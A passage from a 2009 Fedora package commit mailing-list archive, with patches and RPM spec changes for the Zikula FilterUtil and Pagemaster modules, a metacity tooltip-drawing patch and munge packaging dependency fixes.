+    		foreach ($op as $v) {
     			$this->activateOperators($v);
+    		}
     	} elseif (!empty($op) && array_search($op, $this->ops) === false && array_search($op, $this->availableOperators()) !== false) {
     		$this->ops[] = $op;
     	}
@@ -63,15 +64,17 @@
     public function addFields($fields)
     {
     	if (is_array($fields)) {
-    		foreach($fields as $fld)
+    		foreach ($fields as $fld) {
     			$this->addFields($fld);
+    		}
     	} elseif (!empty($fields) && $this->fieldExists($fields) 
     	        && array_search($fields, $this->fields) === false) {
     		$this->fields[] = $fields;
     	}
     }
     
-    public function getFields() {
+    public function getFields()
+    {
         return $this->fields;
     }
     
@@ -84,8 +87,9 @@
     public function getOperators()
     {
     	$fields = $this->getFields();
-    	if ($this->default == true)
+    	if ($this->default == true) {
     		$fields[] = '-';
+    	}
     	$ops = array();
     	foreach ($this->ops as $op) {
     		$ops[$op] = $fields;
@@ -142,7 +146,8 @@
 		return $time;
 	}
 	
-	private function makePeriod($date, $type) {
+	private function makePeriod($date, $type)
+	{
 	    $datearray = getdate($date);
 	    switch($type) {
 	        case 'year':
@@ -154,8 +159,8 @@
 	            $to = strtotime('+1 month', $from);
 	            break;
 	        /**case 'week':
-	            $from = DateUtil::getDatetime("substr ($date, 0, strpos ($date, ' '));
-	            $to = DateUtil::getDatetime("$from +1 year");
+	            $from = DateUtil::getDatetime(substr($date, 0, strpos($date, ' '));
+	            $to = DateUtil::getDatetime($from . ' +1 year');
 	            break;*/
 	        case 'day':
 	        case 'tomorrow':
@@ -176,9 +181,11 @@
 	    return array($from, $to);
 	}
 	
-	public function GetSQL($field, $op, $value) {
-	    if (array_search($op, $this->ops) === false || array_search($field, $this->fields) === false)
+	public function GetSQL($field, $op, $value)
+	{
+	    if (array_search($op, $this->ops) === false || array_search($field, $this->fields) === false) {
 	        return '';
+	    }
 	    $type = 'point';
 	    if (preg_match('~^(year|month|week|day|hour|min):\s*(.*)$~i', $value, $res)) {
 	        $type = strtolower($res[1]);
@@ -204,7 +211,7 @@
 	                list($from, $to) = $this->makePeriod($time, $type);
 	                $where = $this->column[$field].' < \''.DateUtil::getDatetime($from).'\' AND '.$this->column[$field].' >= \''.DateUtil::getDatetime($to).'\'';
 	            } else {
-	                $where = $this->column[$field].' <> \''.DateUtil::getDatetime($time).'\'';
+	                $where = $this->column[$field] . ' != \'' . DateUtil::getDatetime($time) . '\'';
 	            }
 	            break;
 	        case 'gt':
@@ -231,4 +238,4 @@
 	    
 	}
 }
-?>
\ No newline at end of file
+?>
Index: FilterUtil/FilterUtil_Common.class.php
===================================================================
--- FilterUtil/FilterUtil_Common.class.php	(revision 15)
+++ FilterUtil/FilterUtil_Common.class.php	(working copy)
@@ -89,7 +89,7 @@
 	 */
 	protected function setTable($table)
 	{
-		$pntable =& pnDBGetTables();
+		$pntable = pnDBGetTables();
 
 		if (!isset($pntable[$table]) || !isset($pntable[$table . '_column'])) {
 			return false;
@@ -113,7 +113,7 @@
 	 */
 	protected function setJoin(&$join)
 	{
-	    $this->join =& $join;
+        $this->join = $join;
         $this->addJoinToColumn();
 	}
 	
@@ -125,11 +125,11 @@
 	 */
 	protected function addJoinToColumn()
 	{
-	    if (count($this->join) <= 0)
+	    if (count($this->join) < 1) {
 	        return;
 
-	    $pntable =& pnDBGetTables();
-	    $c =& $this->column;
+	    $pntable = pnDBGetTables();
+	    $c = $this->column;
 	    // reset column array...
 	    $c = $pntable[$this->pntable.'_column'];
 	    // now add alias "tbl" to all fields
@@ -140,7 +140,7 @@
 	    // add fields of all joins
 	    $alias = 'a';
 	    foreach ($this->join as &$join) {
-	        $jc =& $pntable[$join['join_table'].'_column'];
+	        $jc = $pntable[$join['join_table'].'_column'];
 	        foreach ($join['join_field'] as $k => $f) {
 	            $a = $join['object_field_name'][$k];
 	            if (isset($c[$a])) {
@@ -182,6 +182,6 @@
 	{
 		$config['table'] = $this->pntable;
 		$config['module'] = $this->module;
-		$config['join'] =& $this->join;
+		$config['join'] = $this->join;
 	}
-}
\ No newline at end of file
+}
Index: FilterUtil/FilterUtil_Plugin.class.php
===================================================================
--- FilterUtil/FilterUtil_Plugin.class.php	(revision 15)
+++ FilterUtil/FilterUtil_Plugin.class.php	(working copy)
@@ -101,7 +101,7 @@
 		$obj = new $class($config);
 
 		$this->plg[] = $obj;
-		$obj =& end($this->plg);
+		$obj = end($this->plg);
 		$obj->setID(key($this->plg));
 		$this->registerPlugin(key($this->plg));
 
@@ -119,7 +119,7 @@
 	 */
 	private function registerPlugin($k)
 	{
-		$obj =& $this->plg[$k];
+		$obj = $this->plg[$k];
 		if ($obj instanceof FilterUtil_Build) {
 			$ops = $obj->getOperators();
 			if (isset($ops) && is_array($ops)) {
@@ -187,7 +187,7 @@
 	public function replace($field, $op, $value)
 	{
 		foreach ($this->replaces as $k) {
-			$obj =& $this->plg[$k];
+			$obj = $this->plg[$k];
 			list($field, $op, $value) = $obj->replace($field, $op, $value);
 		}
 
@@ -218,4 +218,4 @@
 			return '';
 		}
 	}
-}
\ No newline at end of file
+}


--- NEW FILE zikula-module-filterutil.spec ---
%global zikula_base         %{_datadir}/zikula
%global zikula_modname      filterutil

Name:           zikula-module-%{zikula_modname}
Version:        0
Release:        0.2.20090915svn15%{?dist}
Summary:        Pagesetter like filter rules for Zikula
Group:          Applications/Publishing
License:        GPLv2+
URL:            http://code.zikula.org/filterutil
# svn export -r 15 https://code.zikula.org/svn/filterutil/trunk filterutil-0
# tar -cjvf filterutil-0.tar.bz2 filterutil-0
Source0:        filterutil-0.tar.bz2
# Style and bugfix backport from zikula Core 
# https://code.zikula.org/svn/core/development/main/includes/FilterUtil
Patch0:         filterutil-style-bugfix-zikula-trunk.patch
Patch1:         filterutil-separate-module.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
Requires:       zikula

%description
FilterUtil brings Pagesetter like filter rules to Zikula.  This work is a
backport of the module included in zikula 2.0.

%prep
%setup -q -n %{zikula_modname}-%{version}
%patch0 -p0
%patch1 -p1

%build

find . -type 'f' -exec chmod a-x \{\} \;

%install
rm -rf %{buildroot}

mkdir -p %{buildroot}/%{zikula_base}/config/classes/%{zikula_modname}
cp -pr . %{buildroot}/%{zikula_base}/config/classes/%{zikula_modname}
rm -rf %{buildroot}/%{zikula_base}/*.pdf

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc manual-developer.pdf manual-user.pdf
%{zikula_base}/config/classes/%{zikula_modname}


%changelog
* Thu Sep 17 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0-0.2.20090915svn15
- Add fixes from itbegins for putting this in its own zikula directory

* Tue Sep 15 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0-0.1.20090915svn15
- Initial package attempt


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-filterutil/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:35:24 -0000	1.1
+++ .cvsignore	21 Oct 2009 20:04:37 -0000	1.2
@@ -0,0 +1 @@
+filterutil-0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-filterutil/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:35:24 -0000	1.1
+++ sources	21 Oct 2009 20:04:37 -0000	1.2
@@ -0,0 +1 @@
+f2023afb84f125fce2c767c9fdf398fd  filterutil-0.tar.bz2



From toshio at fedoraproject.org  Wed Oct 21 20:06:12 2009
From: toshio at fedoraproject.org (=?utf-8?b?VG9zaGlvIOOBj+OCieOBqOOBvw==?=)
Date: Wed, 21 Oct 2009 20:06:12 +0000 (UTC)
Subject: rpms/zikula-module-pagemaster/EL-5
	pagemaster-separate-filterutil.patch, NONE,
	1.1 zikula-module-pagemaster.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091021200612.1A40211C00E8@cvs1.fedora.phx.redhat.com>

Author: toshio

Update of /cvs/pkgs/rpms/zikula-module-pagemaster/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11362

Modified Files:
	.cvsignore sources 
Added Files:
	pagemaster-separate-filterutil.patch 
	zikula-module-pagemaster.spec 
Log Message:
Initial import:

* Thu Sep 17 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.1-3
- Update for separated FilterUtil module


pagemaster-separate-filterutil.patch:
 pnuserapi.php |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pagemaster-separate-filterutil.patch ---
Index: modules/pagemaster/pnuserapi.php
===================================================================
--- modules.orig/pagemaster/pnuserapi.php
+++ modules/pagemaster/pnuserapi.php
@@ -303,7 +303,7 @@ function pagemaster_userapi_pubList($arg
     if (version_compare(PN_VERSION_NUM, '2.0', '>='))
         Loader::LoadClass("FilterUtil");
     else
-        Loader::LoadClass("FilterUtil",'modules/pagemaster/classes');
+        Loader::LoadClass("FilterUtil",'config/classes');
         
 
     foreach ($pubfields as $fieldname => $field) {


--- NEW FILE zikula-module-pagemaster.spec ---
%global zikula_base         %{_datadir}/zikula
%global zikula_moddir       %{zikula_base}/modules
%global zikula_modname      pagemaster

Name:           zikula-module-%{zikula_modname}
Version:        0.3.1
Release:        3%{?dist}
Summary:        Creates pages with dynamic content like news, articles, etc
Group:          Applications/Publishing
License:        GPLv2+
URL:            http://code.zikula.org/pagemaster/
# Source URL is dynamically generated. Go to URL to fetch it
Source0:        package_ba269f9bbdba5234dca4bbed95702be2.zip
Patch0:         pagemaster-separate-filterutil.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
Requires:       zikula

%description
Pagemaster is a fully Zikula 1.1 compliant but non complete clone of Pagesetter 
(relations and mediashare plugin are missing still). The main task of the 
module is creating pages with dynamic content like news articles, product 
descriptions, band listings etc.

%prep
%setup -q -c

%patch0 -p0

# Remove empty index.html and others
find -size 0 | xargs rm -f

#Fixing wrong-file-end-of-line-encoding error
sed -i 's/\r//' modules/pagemaster/pndocs/install-and-usage.txt

# Rpmlint warnings E: script-without-shebang
find . -name '*.php' -exec chmod 0644 '{}' \;

# We package Filterutil in its own package in Fedora
rm -rf modules/pagemaster/classes/FilterUtil.class.php
rm -rf modules/pagemaster/classes/FilterUtil

%build

%install
rm -rf %{buildroot}


cd modules/%{zikula_modname}

mkdir -p %{buildroot}/%{zikula_moddir}/%{zikula_modname} 
cp -pr . %{buildroot}/%{zikula_moddir}/%{zikula_modname}
rm -rf %{buildroot}/%{zikula_moddir}/%{zikula_modname}/pndocs


%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc modules/%{zikula_modname}/pndocs/*
%{zikula_moddir}/%{zikula_modname}


%changelog
* Thu Sep 17 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.1-3
- Update for separated FilterUtil module

* Fri Aug 28 2009 Rahul Sundaram <sundaram at fedoraproject.org> - 0.3.1-2
- Fix license tag and add Source URL comment

* Wed Aug 26 2009 Rahul Sundaram <sundaram at fedoraproject.org> - 0.3.1-1
- initial package
- Based on Chitlesh Goorah's spec


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-pagemaster/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:34:38 -0000	1.1
+++ .cvsignore	21 Oct 2009 20:06:11 -0000	1.2
@@ -0,0 +1 @@
+package_ba269f9bbdba5234dca4bbed95702be2.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/zikula-module-pagemaster/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:34:38 -0000	1.1
+++ sources	21 Oct 2009 20:06:11 -0000	1.2
@@ -0,0 +1 @@
+bd3190b020698acfe6ce6d85f1909840  package_ba269f9bbdba5234dca4bbed95702be2.zip



From mclasen at fedoraproject.org  Wed Oct 21 20:45:18 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 20:45:18 +0000 (UTC)
Subject: rpms/metacity/F-12 fresh-tooltips.patch, NONE, 1.1 metacity.spec,
	1.205, 1.206
Message-ID: <20091021204518.C588011C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/metacity/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21366

Modified Files:
	metacity.spec 
Added Files:
	fresh-tooltips.patch 
Log Message:
match tooltip look


fresh-tooltips.patch:
 fixedtip.c |  205 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 190 insertions(+), 15 deletions(-)

--- NEW FILE fresh-tooltips.patch ---
--- metacity-2.28.0/src/ui/fixedtip.c	2009-10-21 16:28:48.651819365 -0400
+++ hacked/src/ui/fixedtip.c	2009-10-21 16:40:27.148814794 -0400
@@ -50,13 +50,174 @@
  */
 static int screen_bottom_edge = 0;
 
+static void
+draw_round_rect (cairo_t *cr,
+                 gdouble  aspect,
+                 gdouble  x,
+                 gdouble  y,
+                 gdouble  corner_radius,
+                 gdouble  width,
+                 gdouble  height)
+{
+  gdouble radius = corner_radius / aspect;
+
+  cairo_move_to (cr, x + radius, y);
+
+  /* top-right, left of the corner */
+  cairo_line_to (cr, x + width - radius, y);
+
+  /* top-right, below the corner */
+  cairo_arc (cr,
+             x + width - radius, y + radius, radius,
+             -90.0f * G_PI / 180.0f, 0.0f * G_PI / 180.0f);
+
+  /* bottom-right, above the corner */
+  cairo_line_to (cr, x + width, y + height - radius);
+
+  /* bottom-right, left of the corner */
+  cairo_arc (cr,
+             x + width - radius, y + height - radius, radius,
+             0.0f * G_PI / 180.0f, 90.0f * G_PI / 180.0f);
+
+  /* bottom-left, right of the corner */
+  cairo_line_to (cr, x + radius, y + height);
+
+  /* bottom-left, above the corner */
+  cairo_arc (cr,
+             x + radius, y + height - radius, radius,
+             90.0f * G_PI / 180.0f, 180.0f * G_PI / 180.0f);
+
+  /* top-left, below the corner */
+  cairo_line_to (cr, x, y + radius);
+
+  /* top-left, right of the corner */
+  cairo_arc (cr,
+             x + radius, y + radius, radius,
+             180.0f * G_PI / 180.0f, 270.0f * G_PI / 180.0f);
+
+  cairo_close_path (cr);
+}
+
+static void
+fill_background (GtkWidget  *widget,
+                 cairo_t    *cr)
+{
+  GdkColor color;
+  gdouble  r, g, b;
+  gint     radius;
+  gdouble  background_alpha;
+
+  if (gdk_screen_is_composited (gtk_widget_get_screen (widget)))
+    background_alpha = 0.90;
+  else
+    background_alpha = 1.0;
+
+  radius = MIN (widget->style->xthickness, widget->style->ythickness);
+  radius = MAX (radius, 1);
+
+  cairo_set_operator (cr, CAIRO_OPERATOR_CLEAR);
+  cairo_paint (cr);
+  cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
+
+  draw_round_rect (cr,
+                   1.0, 1, 1, radius,
+                   widget->allocation.width - 2,
+                   widget->allocation.height - 2);
+
+  color = widget->style->bg [GTK_STATE_NORMAL];
+  r = (float)color.red / 65535.0;
+  g = (float)color.green / 65535.0;
+  b = (float)color.blue / 65535.0;
+  cairo_set_source_rgba (cr, r, g, b, background_alpha);
+  cairo_fill_preserve (cr);
+
+  color = widget->style->bg [GTK_STATE_SELECTED];
+  r = (float) color.red / 65535.0;
+  g = (float) color.green / 65535.0;
+  b = (float) color.blue / 65535.0;
+
+  cairo_set_source_rgba (cr, r, g, b, background_alpha);
+  cairo_set_line_width (cr, 1.0);
+  cairo_stroke (cr);
+}
+
+static void
+update_shape (GtkWidget *window)
+{
+  GdkBitmap *mask;
+  cairo_t *cr;
+  gint width, height;
+
+  gtk_window_get_size (GTK_WINDOW (window), &width, &height);
+
+  if (gdk_screen_is_composited (gtk_widget_get_screen (window)))
+    {
+      GdkRectangle rect;
+      GdkRegion *region;
+
+#if 0
+      gtk_widget_shape_combine_mask (tooltip->window, NULL, 0, 0);
+     return;
+#endif
+      /* This is a hack to keep the metacity compositor from slapping a
+ *        * non-shaped shadow around the shaped tooltip
+ *               */
+      rect.x = 0;
+      rect.y = 0;
+      rect.width = width;
+      rect.height = height;
+      region = gdk_region_rectangle (&rect);
+      gdk_window_shape_combine_region (window->window, region, 0, 0);
+      gdk_region_destroy (region);
+
+      return;
+    }
+
+  mask = (GdkBitmap *) gdk_pixmap_new (NULL, width, height, 1);
+  cr = gdk_cairo_create (mask);
+  if (cairo_status (cr) == CAIRO_STATUS_SUCCESS)
+    {
+      cairo_set_operator (cr, CAIRO_OPERATOR_CLEAR);
+      cairo_paint (cr);
+
+      cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
+      cairo_set_source_rgb (cr, 1.0, 1.0, 1.0);
+      draw_round_rect (cr, 1.0, 0, 0, 4, width, height);
+      cairo_fill (cr);
+
+      gtk_widget_shape_combine_mask (window, mask, 0, 0);
+    }
+  cairo_destroy (cr);
+
+  g_object_unref (mask);
+}
+
+
 static gint
-expose_handler (GtkTooltips *tooltips)
+expose_handler (GtkWidget *window)
 {
-  gtk_paint_flat_box (tip->style, tip->window,
-                      GTK_STATE_NORMAL, GTK_SHADOW_OUT, 
-                      NULL, tip, "tooltip",
-                      0, 0, -1, -1);
+  cairo_t         *context;
+  cairo_surface_t *surface;
+  cairo_t         *cr;
+
+  context = gdk_cairo_create (window->window);
+
+  cairo_set_operator (context, CAIRO_OPERATOR_SOURCE);
+  surface = cairo_surface_create_similar (cairo_get_target (context),
+                                          CAIRO_CONTENT_COLOR_ALPHA,
+                                          window->allocation.width,
+                                          window->allocation.height);
+  cr = cairo_create (surface);
+
+  fill_background (window, cr);
+
+  cairo_destroy (cr);
+  cairo_set_source_surface (context, surface, 0, 0);
+  cairo_paint (context);
+  cairo_surface_destroy (surface);
+  cairo_destroy (context);
+
+  update_shape (window);
 
   return FALSE;
 }
@@ -67,9 +228,10 @@
                      const char *markup_text)
 {
   int w, h;
-  
+  GtkWidget *alignment;
+
   if (tip == NULL)
-    {      
+    {
       tip = gtk_window_new (GTK_WINDOW_POPUP);
       gtk_window_set_type_hint (GTK_WINDOW(tip), GDK_WINDOW_TYPE_HINT_TOOLTIP);
 
@@ -77,6 +239,7 @@
         GdkScreen *gdk_screen;
 	GdkRectangle monitor;
 	gint mon_num;
+        GdkColormap *rgba;
 
         gdk_screen = gdk_display_get_screen (gdk_display_get_default (),
                                              screen_number);
@@ -86,22 +249,34 @@
 	gdk_screen_get_monitor_geometry (gdk_screen, mon_num, &monitor);
 	screen_right_edge = monitor.x + monitor.width;
 	screen_bottom_edge = monitor.y + monitor.height;
+
+        rgba = gdk_screen_get_rgba_colormap (gdk_screen);
+        if (rgba)
+          gtk_widget_set_colormap (tip, rgba);
       }
-      
+
       gtk_widget_set_app_paintable (tip, TRUE);
       gtk_window_set_resizable (GTK_WINDOW (tip), FALSE);
-      gtk_widget_set_name (tip, "gtk-tooltips");
-      gtk_container_set_border_width (GTK_CONTAINER (tip), 4);
+      gtk_widget_set_name (tip, "gtk-tooltip");
+      gtk_widget_realize (tip);
 
-      g_signal_connect_swapped (tip, "expose_event",
-				 G_CALLBACK (expose_handler), NULL);
+      g_signal_connect (tip, "expose_event",
+		        G_CALLBACK (expose_handler), NULL);
+
+      alignment = gtk_alignment_new (0.5, 0.5, 1.0, 1.0);
+      gtk_alignment_set_padding (GTK_ALIGNMENT (alignment),
+                                 tip->style->ythickness,
+                                 tip->style->ythickness,
+                                 tip->style->xthickness,
+                                 tip->style->xthickness);
+      gtk_widget_show (alignment);
+      gtk_container_add (GTK_CONTAINER (tip), alignment);
 
       label = gtk_label_new (NULL);
       gtk_label_set_line_wrap (GTK_LABEL (label), TRUE);
-      gtk_misc_set_alignment (GTK_MISC (label), 0.5, 0.5);
       gtk_widget_show (label);
-      
-      gtk_container_add (GTK_CONTAINER (tip), label);
+
+      gtk_container_add (GTK_CONTAINER (alignment), label);
 
       g_signal_connect (tip, "destroy",
 			G_CALLBACK (gtk_widget_destroyed), &tip);


Index: metacity.spec
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/metacity.spec,v
retrieving revision 1.205
retrieving revision 1.206
diff -u -p -r1.205 -r1.206
--- metacity.spec	15 Oct 2009 18:00:24 -0000	1.205
+++ metacity.spec	21 Oct 2009 20:45:18 -0000	1.206
@@ -1,7 +1,7 @@
 Summary: Unobtrusive window manager
 Name: metacity
 Version: 2.28.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 URL: http://download.gnome.org/sources/metacity/
 Source0: http://download.gnome.org/sources/metacity/2.28/metacity-%{version}.tar.bz2
 # http://bugzilla.gnome.org/show_bug.cgi?id=558723
@@ -19,6 +19,7 @@ Patch9: 0001-tooltip-set-window-type-hin
 
 # fedora specific patches
 Patch10: workspaces.patch
+Patch11: fresh-tooltips.patch
 
 License: GPLv2+
 Group: User Interface/Desktops
@@ -85,6 +86,7 @@ API. This package exists purely for tech
 %patch8 -p1 -b .sound-cache
 %patch9 -p1 -b .tooltip
 %patch10 -p1 -b .workspaces
+%patch11 -p1 -b .fresh-tooltips
 
 # force regeneration
 rm src/metacity.schemas
@@ -192,6 +194,9 @@ fi
 %{_mandir}/man1/metacity-window-demo.1.gz
 
 %changelog
+* Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-4
+- Make tooltips look match GTK+
+
 * Thu Oct 15 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-3
 - Tweak the default number of workspaces
 



From stevetraylen at fedoraproject.org  Wed Oct 21 20:51:51 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 20:51:51 +0000 (UTC)
Subject: rpms/munge/EL-4 munge.spec,1.3,1.4
Message-ID: <20091021205151.477D211C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22542/EL-4

Modified Files:
	munge.spec 
Log Message:
Fix interdependencies.



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/EL-4/munge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- munge.spec	21 Oct 2009 17:04:26 -0000	1.3
+++ munge.spec	21 Oct 2009 20:51:51 -0000	1.4
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -19,16 +19,17 @@ Patch2:         runas-munge-user.patch
 Patch3:         check-key-exists.patch
 Patch4:         remove-GPL_LICENSED-cpp.patch
 # Was loading /etc/sysconfig/munge wrongly on reboot.
-# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 # Fixed upstream already for next release.
+# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 Patch5:         %{name}-correct-service-name.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  zlib-devel bzip2-devel openssl-devel
+Requires:       munge-libs = %{version}-%{release}
 
-Requires(post): chkconfig
-Requires(pre): shadow-utils
-Requires(preun): chkconfig, initscripts
+Requires(post):   chkconfig
+Requires(pre):    shadow-utils
+Requires(preun):  chkconfig, initscripts
 Requires(postun): initscripts
 
 
@@ -44,16 +45,16 @@ without the use of root privileges, rese
 methods.
 
 %package devel
-Summary: Development files for uid * gid authentication acrosss a host cluster
-Group: Applications/System
+Summary:        Development files for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
+Requires:       munge-libs = %{version}-%{release}
 
 %description devel
 Header files for developing using MUNGE.
 
 %package libs
-Summary: Runtime libs for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
-Group: Applications/System
+Summary:        Runtime libs for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
 
 %description libs
 Runtime libraries for using MUNGE.
@@ -167,7 +168,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/sysconfig/munge
 %config(noreplace) %{_sysconfdir}/logrotate.d/munge
 
-%doc AUTHORS BUGS ChangeLog COPYING DISCLAIMER   
+%doc AUTHORS BUGS ChangeLog DISCLAIMER   
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
@@ -175,6 +176,7 @@ exit 0
 %defattr(-,root,root,-)
 %{_libdir}/libmunge.so.2
 %{_libdir}/libmunge.so.2.0.0
+%doc COPYING
 
 %files devel
 %defattr(-,root,root,-)
@@ -198,6 +200,10 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-8
+- Requirment on munge removed from munge-libs.
+- Explicit exact requirment on munge-libs for munge and munge-devel
+  added.
 * Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
 - rhbz#530128 Move runtime libs to a new -libs package.
   ldconfig moved to new -libs package as a result.



From stevetraylen at fedoraproject.org  Wed Oct 21 20:51:51 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 20:51:51 +0000 (UTC)
Subject: rpms/munge/EL-5 munge.spec,1.3,1.4
Message-ID: <20091021205151.7C29211C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22542/EL-5

Modified Files:
	munge.spec 
Log Message:
Fix interdependencies.



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/EL-5/munge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- munge.spec	21 Oct 2009 17:04:27 -0000	1.3
+++ munge.spec	21 Oct 2009 20:51:51 -0000	1.4
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -19,16 +19,17 @@ Patch2:         runas-munge-user.patch
 Patch3:         check-key-exists.patch
 Patch4:         remove-GPL_LICENSED-cpp.patch
 # Was loading /etc/sysconfig/munge wrongly on reboot.
-# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 # Fixed upstream already for next release.
+# https://bugzilla.redhat.com/show_bug.cgi?id=525732
 Patch5:         %{name}-correct-service-name.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  zlib-devel bzip2-devel openssl-devel
+Requires:       munge-libs = %{version}-%{release}
 
-Requires(post): chkconfig
-Requires(pre): shadow-utils
-Requires(preun): chkconfig, initscripts
+Requires(post):   chkconfig
+Requires(pre):    shadow-utils
+Requires(preun):  chkconfig, initscripts
 Requires(postun): initscripts
 
 
@@ -44,16 +45,16 @@ without the use of root privileges, rese
 methods.
 
 %package devel
-Summary: Development files for uid * gid authentication acrosss a host cluster
-Group: Applications/System
+Summary:        Development files for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
+Requires:       munge-libs = %{version}-%{release}
 
 %description devel
 Header files for developing using MUNGE.
 
 %package libs
-Summary: Runtime libs for uid * gid authentication acrosss a host cluster
-Requires: %{name} = %{version}-%{release}
-Group: Applications/System
+Summary:        Runtime libs for uid * gid authentication acrosss a host cluster
+Group:          Applications/System
 
 %description libs
 Runtime libraries for using MUNGE.
@@ -167,7 +168,7 @@ exit 0
 %config(noreplace) %{_sysconfdir}/sysconfig/munge
 %config(noreplace) %{_sysconfdir}/logrotate.d/munge
 
-%doc AUTHORS BUGS ChangeLog COPYING DISCLAIMER   
+%doc AUTHORS BUGS ChangeLog DISCLAIMER   
 %doc JARGON META NEWS QUICKSTART README 
 %doc doc
 
@@ -175,6 +176,7 @@ exit 0
 %defattr(-,root,root,-)
 %{_libdir}/libmunge.so.2
 %{_libdir}/libmunge.so.2.0.0
+%doc COPYING
 
 %files devel
 %defattr(-,root,root,-)
@@ -198,6 +200,10 @@ exit 0
 
 
 %changelog
+* Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-8
+- Requirment on munge removed from munge-libs.
+- Explicit exact requirment on munge-libs for munge and munge-devel
+  added.
 * Wed Oct 21 2009 Steve Traylen <steve.traylen at cern.ch> - 0.5.8-7
 - rhbz#530128 Move runtime libs to a new -libs package.
   ldconfig moved to new -libs package as a result.



From stevetraylen at fedoraproject.org  Wed Oct 21 20:51:51 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Wed, 21 Oct 2009 20:51:51 +0000 (UTC)
Subject: rpms/munge/F-10 munge.spec,1.3,1.4
Message-ID: <20091021205151.AEBBC11C00E8@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/munge/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22542/F-10

Modified Files:
	munge.spec 
Log Message:
Fix interdependencies.



Index: munge.spec
===================================================================
RCS file: /cvs/pkgs/rpms/munge/F-10/munge.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- munge.spec	21 Oct 2009 17:04:27 -0000	1.3
+++ munge.spec	21 Oct 2009 20:51:51 -0000	1.4
@@ -5,7 +5,7 @@
 
 Name:           munge
 Version:        0.5.8
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        Enables uid & gid authentication across a host cluster
 
 Group:          Applications/System
@@ -19,16 +19,17 @@ Patch2:         runas-munge-user.patch
 Patch3:         check-key-exists.patch
 Patch4:         remove-GPL_LICENSED-cpp.patch
